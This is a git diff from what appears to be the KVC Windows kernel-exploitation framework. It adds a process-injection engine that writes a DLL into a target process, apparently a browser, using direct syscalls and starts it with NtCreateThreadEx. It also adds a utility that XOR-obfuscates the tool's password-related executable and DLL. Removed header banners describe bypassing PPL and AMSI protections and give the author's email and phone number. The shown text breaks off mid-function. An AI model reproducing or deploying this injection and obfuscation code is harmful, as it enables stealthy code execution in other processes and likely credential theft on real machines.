kvc/InjectionEngine.cpp
Normal file
157
kvc/InjectionEngine.cpp
Normal file
@@ -0,0 +1,157 @@
|
|||||||
|
// InjectionEngine.cpp - Low-level PE injection and execution
|
||||||
|
#include "InjectionEngine.h"
|
||||||
|
#include "syscalls.h"
|
||||||
|
#include <fstream>
|
||||||
|
#include <stdexcept>
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
extern std::string g_securityModulePath;
|
||||||
|
|
||||||
|
// Constructor initializes injection context
|
||||||
|
InjectionManager::InjectionManager(TargetProcess& target, const Console& console)
|
||||||
|
: m_target(target), m_console(console) {}
|
||||||
|
|
||||||
|
// Main injection workflow execution
|
||||||
|
void InjectionManager::execute(const std::wstring& pipeName)
|
||||||
|
{
|
||||||
|
m_console.Debug("Loading security module from file: " + g_securityModulePath);
|
||||||
|
loadSecurityModuleFromFile(g_securityModulePath);
|
||||||
|
|
||||||
|
m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point.");
|
||||||
|
DWORD rdiOffset = getInitializeSecurityContextOffset();
|
||||||
|
if (rdiOffset == 0)
|
||||||
|
throw std::runtime_error("Could not find InitializeSecurityContext export in security module.");
|
||||||
|
m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset));
|
||||||
|
|
||||||
|
m_console.Debug("Allocating memory for security module in target process.");
|
||||||
|
PVOID remoteModuleBase = nullptr;
|
||||||
|
SIZE_T moduleSize = m_moduleBuffer.size();
|
||||||
|
SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
|
||||||
|
SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize;
|
||||||
|
|
||||||
|
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0,
|
||||||
|
&totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status));
|
||||||
|
m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase));
|
||||||
|
|
||||||
|
m_console.Debug("Writing security module to target process memory.");
|
||||||
|
SIZE_T bytesWritten = 0;
|
||||||
|
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase,
|
||||||
|
m_moduleBuffer.data(), moduleSize, &bytesWritten);
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status));
|
||||||
|
|
||||||
|
m_console.Debug("Writing pipe name parameter into the same allocation.");
|
||||||
|
LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteModuleBase) + moduleSize;
|
||||||
|
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr,
|
||||||
|
(PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status));
|
||||||
|
|
||||||
|
m_console.Debug("Changing module memory protection to executable.");
|
||||||
|
ULONG oldProtect = 0;
|
||||||
|
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase,
|
||||||
|
&totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status));
|
||||||
|
|
||||||
|
startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr);
|
||||||
|
m_console.Debug("New thread created for security module. Main thread remains suspended.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reads DLL file into memory buffer
|
||||||
|
void InjectionManager::loadSecurityModuleFromFile(const std::string& modulePath)
|
||||||
|
{
|
||||||
|
if (!fs::exists(modulePath))
|
||||||
|
throw std::runtime_error("Security module not found: " + modulePath);
|
||||||
|
|
||||||
|
std::ifstream file(modulePath, std::ios::binary);
|
||||||
|
if (!file)
|
||||||
|
throw std::runtime_error("Failed to open security module: " + modulePath);
|
||||||
|
|
||||||
|
file.seekg(0, std::ios::end);
|
||||||
|
auto fileSize = file.tellg();
|
||||||
|
file.seekg(0, std::ios::beg);
|
||||||
|
|
||||||
|
m_moduleBuffer.resize(static_cast<size_t>(fileSize));
|
||||||
|
file.read(reinterpret_cast<char*>(m_moduleBuffer.data()), fileSize);
|
||||||
|
|
||||||
|
if (!file)
|
||||||
|
throw std::runtime_error("Failed to read security module: " + modulePath);
|
||||||
|
|
||||||
|
m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Manually parses PE export table to locate entry point
|
||||||
|
DWORD InjectionManager::getInitializeSecurityContextOffset()
|
||||||
|
{
|
||||||
|
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_moduleBuffer.data());
|
||||||
|
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew);
|
||||||
|
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||||
|
if (exportDirRva == 0)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
// Converts RVA to file offset using section headers
|
||||||
|
auto RvaToOffset = [&](DWORD rva) -> PVOID
|
||||||
|
{
|
||||||
|
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||||
|
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section)
|
||||||
|
{
|
||||||
|
if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize)
|
||||||
|
{
|
||||||
|
return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nullptr;
|
||||||
|
};
|
||||||
|
|
||||||
|
auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva);
|
||||||
|
if (!exportDir) return 0;
|
||||||
|
|
||||||
|
auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames);
|
||||||
|
auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals);
|
||||||
|
auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions);
|
||||||
|
if (!names || !ordinals || !funcs) return 0;
|
||||||
|
|
||||||
|
// Search for specific export by name
|
||||||
|
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
|
||||||
|
{
|
||||||
|
char* funcName = (char*)RvaToOffset(names[i]);
|
||||||
|
if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0)
|
||||||
|
{
|
||||||
|
PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]);
|
||||||
|
if (!funcOffsetPtr) return 0;
|
||||||
|
return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Creates remote thread at calculated entry point
|
||||||
|
void InjectionManager::startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
|
||||||
|
{
|
||||||
|
m_console.Debug("Creating new thread in target to execute InitializeSecurityContext.");
|
||||||
|
|
||||||
|
uintptr_t entryPoint = reinterpret_cast<uintptr_t>(remoteModuleBase) + rdiOffset;
|
||||||
|
HANDLE hRemoteThread = nullptr;
|
||||||
|
|
||||||
|
NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(),
|
||||||
|
(LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr);
|
||||||
|
|
||||||
|
UniqueHandle remoteThreadGuard(hRemoteThread);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status));
|
||||||
|
|
||||||
|
m_console.Debug("Successfully created new thread for security module.");
|
||||||
|
}
|
||||||
35
kvc/InjectionEngine.h
Normal file
35
kvc/InjectionEngine.h
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
// InjectionEngine.h - PE injection and remote execution management
|
||||||
|
#ifndef INJECTION_ENGINE_H
|
||||||
|
#define INJECTION_ENGINE_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include "BrowserProcessManager.h"
|
||||||
|
#include "CommunicationLayer.h"
|
||||||
|
|
||||||
|
// Handles DLL injection and remote thread execution
|
||||||
|
class InjectionManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
InjectionManager(TargetProcess& target, const Console& console);
|
||||||
|
|
||||||
|
// Performs complete injection workflow: load, parse, inject, execute
|
||||||
|
void execute(const std::wstring& pipeName);
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Loads security module from disk into memory buffer
|
||||||
|
void loadSecurityModuleFromFile(const std::string& modulePath);
|
||||||
|
|
||||||
|
// Parses PE export table to find entry point offset
|
||||||
|
DWORD getInitializeSecurityContextOffset();
|
||||||
|
|
||||||
|
// Creates remote thread to execute injected code
|
||||||
|
void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr);
|
||||||
|
|
||||||
|
TargetProcess& m_target;
|
||||||
|
const Console& m_console;
|
||||||
|
std::vector<BYTE> m_moduleBuffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // INJECTION_ENGINE_H
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "KeyboardHook.h"
|
#include "KeyboardHook.h"
|
||||||
#include "TrustedInstallerIntegrator.h"
|
#include "TrustedInstallerIntegrator.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
25
kvc/Kvc.cpp
25
kvc/Kvc.cpp
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "DefenderManager.h"
|
#include "DefenderManager.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// KvcDrv.cpp
|
// KvcDrv.cpp
|
||||||
#include "kvcDrv.h"
|
#include "kvcDrv.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
660
kvc/KvcXor.cpp
Normal file
660
kvc/KvcXor.cpp
Normal file
@@ -0,0 +1,660 @@
|
|||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
#include <vector>
|
||||||
|
#include <array>
|
||||||
|
#include <string>
|
||||||
|
#include <string_view>
|
||||||
|
#include <span>
|
||||||
|
#include <ranges>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <optional>
|
||||||
|
#include <variant>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#define NOMINMAX
|
||||||
|
#include <windows.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace fs = std::filesystem;
|
||||||
|
namespace rng = std::ranges;
|
||||||
|
|
||||||
|
// XOR key
|
||||||
|
constexpr std::array<uint8_t, 7> XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||||
|
|
||||||
|
// File paths
|
||||||
|
constexpr std::string_view KVC_PASS_EXE = "kvc_pass.exe";
|
||||||
|
constexpr std::string_view KVC_CRYPT_DLL = "kvc_crypt.dll";
|
||||||
|
constexpr std::string_view KVC_RAW = "kvc.raw";
|
||||||
|
constexpr std::string_view KVC_DAT = "kvc.dat";
|
||||||
|
constexpr std::string_view KVC_EXE = "kvc.exe";
|
||||||
|
constexpr std::string_view KVC_ENC = "kvc.enc";
|
||||||
|
|
||||||
|
// Helper for string concatenation (replaces std::format)
|
||||||
|
inline std::string concat(std::string_view a) {
|
||||||
|
return std::string(a);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::string concat(std::string_view a, std::string_view b) {
|
||||||
|
std::string result;
|
||||||
|
result.reserve(a.size() + b.size());
|
||||||
|
result.append(a);
|
||||||
|
result.append(b);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::string concat(std::string_view a, std::string_view b, std::string_view c) {
|
||||||
|
std::string result;
|
||||||
|
result.reserve(a.size() + b.size() + c.size());
|
||||||
|
result.append(a);
|
||||||
|
result.append(b);
|
||||||
|
result.append(c);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::string concat(std::string_view a, std::string_view b, std::string_view c, std::string_view d) {
|
||||||
|
std::string result;
|
||||||
|
result.reserve(a.size() + b.size() + c.size() + d.size());
|
||||||
|
result.append(a);
|
||||||
|
result.append(b);
|
||||||
|
result.append(c);
|
||||||
|
result.append(d);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
|
||||||
|
std::string_view d, std::string_view e) {
|
||||||
|
std::string result;
|
||||||
|
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size());
|
||||||
|
result.append(a);
|
||||||
|
result.append(b);
|
||||||
|
result.append(c);
|
||||||
|
result.append(d);
|
||||||
|
result.append(e);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
|
||||||
|
std::string_view d, std::string_view e, std::string_view f) {
|
||||||
|
std::string result;
|
||||||
|
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size());
|
||||||
|
result.append(a);
|
||||||
|
result.append(b);
|
||||||
|
result.append(c);
|
||||||
|
result.append(d);
|
||||||
|
result.append(e);
|
||||||
|
result.append(f);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
|
||||||
|
std::string_view d, std::string_view e, std::string_view f,
|
||||||
|
std::string_view g) {
|
||||||
|
std::string result;
|
||||||
|
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size() + g.size());
|
||||||
|
result.append(a);
|
||||||
|
result.append(b);
|
||||||
|
result.append(c);
|
||||||
|
result.append(d);
|
||||||
|
result.append(e);
|
||||||
|
result.append(f);
|
||||||
|
result.append(g);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simple Result type (replacement for std::expected which MSVC doesn't fully support yet)
|
||||||
|
template<typename T>
|
||||||
|
class Result {
|
||||||
|
std::variant<T, std::string> data;
|
||||||
|
|
||||||
|
public:
|
||||||
|
Result(T value) : data(std::move(value)) {}
|
||||||
|
Result(std::string error) : data(std::move(error)) {}
|
||||||
|
|
||||||
|
bool has_value() const { return std::holds_alternative<T>(data); }
|
||||||
|
explicit operator bool() const { return has_value(); }
|
||||||
|
|
||||||
|
T& value() { return std::get<T>(data); }
|
||||||
|
const T& value() const { return std::get<T>(data); }
|
||||||
|
|
||||||
|
const std::string& error() const { return std::get<std::string>(data); }
|
||||||
|
|
||||||
|
T* operator->() { return &std::get<T>(data); }
|
||||||
|
const T* operator->() const { return &std::get<T>(data); }
|
||||||
|
};
|
||||||
|
|
||||||
|
// Specialization for void
|
||||||
|
template<>
|
||||||
|
class Result<void> {
|
||||||
|
std::optional<std::string> error_msg;
|
||||||
|
|
||||||
|
public:
|
||||||
|
Result() : error_msg(std::nullopt) {}
|
||||||
|
Result(std::string error) : error_msg(std::move(error)) {}
|
||||||
|
|
||||||
|
bool has_value() const { return !error_msg.has_value(); }
|
||||||
|
explicit operator bool() const { return has_value(); }
|
||||||
|
|
||||||
|
const std::string& error() const { return *error_msg; }
|
||||||
|
};
|
||||||
|
|
||||||
|
// Console colors
|
||||||
|
enum class Color : int {
|
||||||
|
Default = 7,
|
||||||
|
Green = 10,
|
||||||
|
Red = 12,
|
||||||
|
Yellow = 14
|
||||||
|
};
|
||||||
|
|
||||||
|
void set_color(Color color) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast<int>(color));
|
||||||
|
#else
|
||||||
|
switch (color) {
|
||||||
|
case Color::Green: std::cout << "\033[32m"; break;
|
||||||
|
case Color::Red: std::cout << "\033[31m"; break;
|
||||||
|
case Color::Yellow: std::cout << "\033[33m"; break;
|
||||||
|
case Color::Default: std::cout << "\033[0m"; break;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void reset_color() {
|
||||||
|
set_color(Color::Default);
|
||||||
|
}
|
||||||
|
|
||||||
|
// RAII color guard
|
||||||
|
class ColorGuard {
|
||||||
|
public:
|
||||||
|
explicit ColorGuard(Color new_color) {
|
||||||
|
set_color(new_color);
|
||||||
|
}
|
||||||
|
~ColorGuard() {
|
||||||
|
reset_color();
|
||||||
|
}
|
||||||
|
ColorGuard(const ColorGuard&) = delete;
|
||||||
|
ColorGuard& operator=(const ColorGuard&) = delete;
|
||||||
|
};
|
||||||
|
|
||||||
|
// XOR operation
|
||||||
|
void xor_data(std::span<uint8_t> data, std::span<const uint8_t> key) noexcept {
|
||||||
|
for (size_t i = 0; i < data.size(); ++i) {
|
||||||
|
data[i] ^= key[i % key.size()];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read entire file into vector
|
||||||
|
Result<std::vector<uint8_t>> read_file(const fs::path& path) {
|
||||||
|
if (!fs::exists(path)) {
|
||||||
|
return Result<std::vector<uint8_t>>(
|
||||||
|
concat("File '", path.string(), "' does not exist")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::ifstream file(path, std::ios::binary);
|
||||||
|
if (!file) {
|
||||||
|
return Result<std::vector<uint8_t>>(
|
||||||
|
concat("Cannot open file '", path.string(), "'")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> data(
|
||||||
|
(std::istreambuf_iterator<char>(file)),
|
||||||
|
std::istreambuf_iterator<char>()
|
||||||
|
);
|
||||||
|
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write data to file
|
||||||
|
Result<void> write_file(const fs::path& path, std::span<const uint8_t> data) {
|
||||||
|
std::ofstream file(path, std::ios::binary);
|
||||||
|
if (!file) {
|
||||||
|
return Result<void>(
|
||||||
|
concat("Cannot create file '", path.string(), "'")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
file.write(reinterpret_cast<const char*>(data.data()), data.size());
|
||||||
|
|
||||||
|
if (!file) {
|
||||||
|
return Result<void>(
|
||||||
|
concat("Error writing to file '", path.string(), "'")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Result<void>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper to read uint16_t from buffer
|
||||||
|
constexpr uint16_t read_uint16(std::span<const uint8_t> data, size_t offset) {
|
||||||
|
return static_cast<uint16_t>(data[offset]) |
|
||||||
|
(static_cast<uint16_t>(data[offset + 1]) << 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper to read uint32_t from buffer
|
||||||
|
constexpr uint32_t read_uint32(std::span<const uint8_t> data, size_t offset) {
|
||||||
|
return static_cast<uint32_t>(data[offset]) |
|
||||||
|
(static_cast<uint32_t>(data[offset + 1]) << 8) |
|
||||||
|
(static_cast<uint32_t>(data[offset + 2]) << 16) |
|
||||||
|
(static_cast<uint32_t>(data[offset + 3]) << 24);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Determine PE file length from buffer
|
||||||
|
std::optional<size_t> get_pe_file_length(std::span<const uint8_t> data, size_t offset = 0) noexcept {
|
||||||
|
try {
|
||||||
|
// Check if we have enough data for DOS header
|
||||||
|
if (data.size() < offset + 0x40) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for MZ signature
|
||||||
|
if (data[offset] != 'M' || data[offset + 1] != 'Z') {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get e_lfanew from offset 0x3C
|
||||||
|
const uint32_t e_lfanew = read_uint32(data, offset + 0x3C);
|
||||||
|
const size_t pe_header_offset = offset + e_lfanew;
|
||||||
|
|
||||||
|
// Check if we have enough data for PE header
|
||||||
|
if (pe_header_offset + 6 > data.size()) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for PE signature
|
||||||
|
if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' ||
|
||||||
|
data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get number of sections and size of optional header
|
||||||
|
const uint16_t number_of_sections = read_uint16(data, pe_header_offset + 6);
|
||||||
|
const uint16_t size_of_optional_header = read_uint16(data, pe_header_offset + 20);
|
||||||
|
|
||||||
|
// Calculate section table offset
|
||||||
|
const size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header;
|
||||||
|
|
||||||
|
// Check if we have enough data for section table
|
||||||
|
if (section_table_offset + number_of_sections * 40 > data.size()) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Find the maximum end of section raw data
|
||||||
|
size_t max_end = 0;
|
||||||
|
for (uint16_t i = 0; i < number_of_sections; ++i) {
|
||||||
|
const size_t sh_offset = section_table_offset + i * 40;
|
||||||
|
|
||||||
|
const uint32_t size_of_raw = read_uint32(data, sh_offset + 16);
|
||||||
|
const uint32_t pointer_to_raw = read_uint32(data, sh_offset + 20);
|
||||||
|
|
||||||
|
if (pointer_to_raw == 0) continue;
|
||||||
|
|
||||||
|
const size_t end = pointer_to_raw + size_of_raw;
|
||||||
|
max_end = std::max(max_end, end);
|
||||||
|
}
|
||||||
|
|
||||||
|
// If we found section data, use it
|
||||||
|
if (max_end > 0) {
|
||||||
|
const size_t header_end = section_table_offset + number_of_sections * 40;
|
||||||
|
return std::max(max_end, header_end);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback: Use SizeOfHeaders from optional header
|
||||||
|
const size_t optional_header_offset = pe_header_offset + 24;
|
||||||
|
if (optional_header_offset + 64 <= data.size()) {
|
||||||
|
const uint32_t size_of_headers = read_uint32(data, optional_header_offset + 60);
|
||||||
|
if (size_of_headers > 0) {
|
||||||
|
return size_of_headers;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Find next MZ header in buffer
|
||||||
|
std::optional<size_t> find_next_mz_header(std::span<const uint8_t> data, size_t start_offset) {
|
||||||
|
constexpr std::array<uint8_t, 2> pattern = { 'M', 'Z' };
|
||||||
|
|
||||||
|
auto search_range = rng::subrange(
|
||||||
|
data.begin() + start_offset,
|
||||||
|
data.end()
|
||||||
|
);
|
||||||
|
|
||||||
|
auto result = rng::search(search_range, pattern);
|
||||||
|
|
||||||
|
if (result.empty()) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
return std::distance(data.begin(), result.begin());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ask user Y/N question
|
||||||
|
bool ask_yes_no(std::string_view question) {
|
||||||
|
std::cout << question << " (Y/N): ";
|
||||||
|
std::string answer;
|
||||||
|
std::getline(std::cin, answer);
|
||||||
|
|
||||||
|
return !answer.empty() && (answer[0] == 'Y' || answer[0] == 'y');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Encode files: kvc_pass.exe + kvc_crypt.dll -> kvc.raw + kvc.dat
|
||||||
|
Result<void> encode_files() {
|
||||||
|
std::cout << "Step 1: Encoding " << KVC_PASS_EXE << " + " << KVC_CRYPT_DLL << "...\n";
|
||||||
|
|
||||||
|
// Read both files
|
||||||
|
auto exe_result = read_file(KVC_PASS_EXE);
|
||||||
|
if (!exe_result) {
|
||||||
|
return Result<void>(exe_result.error());
|
||||||
|
}
|
||||||
|
|
||||||
|
auto dll_result = read_file(KVC_CRYPT_DLL);
|
||||||
|
if (!dll_result) {
|
||||||
|
return Result<void>(dll_result.error());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Combine files
|
||||||
|
std::vector<uint8_t> combined_data;
|
||||||
|
combined_data.reserve(exe_result->size() + dll_result->size());
|
||||||
|
combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
|
||||||
|
combined_data.insert(combined_data.end(), dll_result->begin(), dll_result->end());
|
||||||
|
|
||||||
|
// Write raw file
|
||||||
|
if (auto result = write_file(KVC_RAW, combined_data); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// XOR encode the data
|
||||||
|
xor_data(combined_data, XOR_KEY);
|
||||||
|
|
||||||
|
// Write encoded file
|
||||||
|
if (auto result = write_file(KVC_DAT, combined_data); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << " -> Files combined -> " << KVC_RAW << "\n";
|
||||||
|
